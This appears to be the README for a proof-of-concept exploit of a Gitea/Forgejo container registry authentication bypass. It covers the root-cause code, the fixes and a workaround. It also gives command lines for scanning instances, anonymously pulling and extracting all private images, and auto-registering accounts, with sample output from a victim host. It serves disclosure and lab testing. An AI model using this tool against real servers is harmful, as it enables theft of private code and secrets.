portbuster1337/CVE-2026-27771
GitHub: portbuster1337/CVE-2026-27771
Stars: 15 | Forks: 5
# CVE-2026-27771 — Gitea Container Registry Auth Bypass
**CVSS:** N/A (unpublished)
**Affects:** Gitea < 1.26.2 (all versions with OCI container registry)
**Also affects:** Forgejo (confirmed by NoScope)
**Discovered by:** [NoScope](https://www.noscope.com/blog/gitea-instances-exposing-private-container)
**Fixed in:** Gitea [v1.26.2](https://blog.gitea.com/release-of-1.26.2/) (May 20, 2026)
## Summary
Unauthenticated remote attackers can pull **private** container images from Gitea instances. The OCI Distribution Spec API endpoints (`/v2//manifests/[`, `/v2//blobs/`) serve content to ghost/anonymous users (`UserID: -1`) without checking the container package owner's visibility (private/limited/public).
NoScope identified ~31,750+ internet-facing instances across 30+ countries. The flaw went undetected for ~4 years.
## Root Cause
The vulnerability is in the `ReqContainerAccess` middleware (`routers/api/packages/container/container.go`):
// v1.25.4 — vulnerable
func ReqContainerAccess(ctx *context.Context) {
if ctx.Doer == nil || (setting.Service.RequireSignInViewStrict && ctx.Doer.IsGhost()) {
apiUnauthorizedError(ctx)
}
}
This only checks:
1. Is `ctx.Doer` nil? (unauthenticated request with no token at all)
2. Is `RequireSignInViewStrict` enabled AND is the user a ghost?
It does **not** check the package owner's visibility setting (`VisibleTypePublic`, `VisibleTypeLimited`, `VisibleTypePrivate`). A ghost user (`UserID: -1`) with an empty scope passes straight through and can access any container package.
The `/v2/token` endpoint (`Authenticate` function) grants anonymous tokens without credentials when `RequireSignInViewStrict` is `false`.
### Fix (PR #37290 + PR #37610)
Two fixes landed in 1.26.2:
1. **PR #37290** — Conditional `Basic realm` header in `apiUnauthorizedError` — stops sending `Basic realm` on public instances to avoid confusing Docker clients, and per-owner visibility check in the auth challenge.
2. **PR #37610** — Package visibility labels + Composer source permission check — adds the underlying permission model for packages. Without these labels, there was no way to differentiate private/internal/public packages in the permission check path.
### Workaround
[service]
REQUIRE_SIGNIN_VIEW = true
This blocks **all** anonymous access (including public repos), which closes the exploit path. However, the underlying permission model is still broken — any authenticated user can still access all packages. **Upgrade to 1.26.2+ for the real fix.**
## Exploit PoC
### Prerequisites
- Python 3.8+
- Target Gitea instance < 1.26.2 with OCI container registry enabled (v1.17.0+)
### Usage
python3 CVE-2026-27771-exploit.py scan # Discover repos/tags
python3 CVE-2026-27771-exploit.py scan --token --username
python3 CVE-2026-27771-exploit.py pull # Pull all images
python3 CVE-2026-27771-exploit.py pull --repo owner/image # Pull specific repo
python3 CVE-2026-27771-exploit.py pull --dry-run # Show what would be pulled
python3 CVE-2026-27771-exploit.py pull --token --username
python3 CVE-2026-27771-exploit.py register --username u --password p --email e@x.com
### Examples
# Scan a vulnerable instance
python3 CVE-2026-27771-exploit.py scan https://gitea.example.com
# Pull all private container images (anonymous)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com
# Pull with personal access token (for REQUIRE_SIGNIN_VIEW instances)
python3 CVE-2026-27771-exploit.py pull https://gitea.example.com \
--token 3afb22d5cf0295b5af686dcbbc765600d6dc5dfd --username myuser
# Auto-register on instances without captcha
python3 CVE-2026-27771-exploit.py register https://gitea.example.com \
--username myuser --password mypass --email me@x.com
### What the exploit does
1. **Pre-flight**: Checks version, `/v2/` endpoint, detects registration availability, obtains anonymous token or exchanges PAT for JWT
2. **Enumerate**: List all container repositories via `/v2/_catalog` (returns ALL repos — public and private — due to broken visibility)
3. **Pull**: For each repo, list tags, fetch the OCI manifest, resolve multi-arch images, download all blob layers
4. **Extract**: Automatically extracts gzip-compressed tar layers into `pulled_/extracted/`
### Token handling
- **Anonymous**: If `REQUIRE_SIGNIN_VIEW=false`, gets a ghost token with no credentials
- **PAT (SHA1)**: If `--token` is a 40-char hex string, auto-exchanges it for an OCI JWT via `Basic auth`
- **JWT**: If `--token` contains dots, uses it directly as a Bearer token
### Example output
[*] Pre-flight: https://victim.gitea.com
[+] Version (API): 1.25.4
[+] /v2/ -> 401
[+] Anonymous token granted (UserID: -1, Scope: '')
[+] /v2/_catalog -> 200 (3 repos)
[+] Vulnerable: True (require_signin=False)
[*] Container repositories: 3
acme/production-app: tags=['latest', 'v2.1.0']
acme/internal-db: tags=['latest', 'v1.3.0']
team-xyz/secret-ml-model: tags=['v0.9.2']
[acme/production-app]
Tags: ['latest']
└─ manifest latest: multi-arch, digest=sha256:a1b2c3..., 12 blobs
[1/12] sha256_a1b2c3... (28.4 MB)
...
manifests saved
extracted 39862 files to pulled_acme_production-app/extracted
## Reproducing
### Setup a test environment
# 1. Deploy Gitea 1.25.x with Docker (vulnerable version)
docker run -d --name gitea-vuln -p 3000:3000 \
-e GITEA__service__REQUIRE_SIGNIN_VIEW=false \
gitea/gitea:1.25.4
# 2. Create a user and push a private Docker image
docker login localhost:3000 -u testuser -p testpass
docker pull alpine:latest
docker tag alpine:latest localhost:3000/testuser/secret-app:latest
docker push localhost:3000/testuser/secret-app:latest
# 3. Run the exploit (no credentials)
python3 CVE-2026-27771-exploit.py pull http://localhost:3000
# The exploit will find testuser/secret-app and download all layers.
# Files will be in pulled_testuser_secret-app/extracted/
### Verify the fix
# Upgrade to patched version
docker stop gitea-vuln
docker run -d --name gitea-fixed -p 3000:3000 \
gitea/gitea:1.26.2
# Anonymous token should be denied (401)
python3 CVE-2026-27771-exploit.py scan http://localhost:3000
# Expected: "Version >= 1.26.2 (patched)"
## References
- https://noscope.com/blog/gitea-instances-exposing-private-container
- https://blog.gitea.com/release-of-1.26.2/
- https://github.com/go-gitea/gitea/pull/37290
- https://github.com/go-gitea/gitea/pull/37610
- https://github.com/go-gitea/gitea/security/advisories]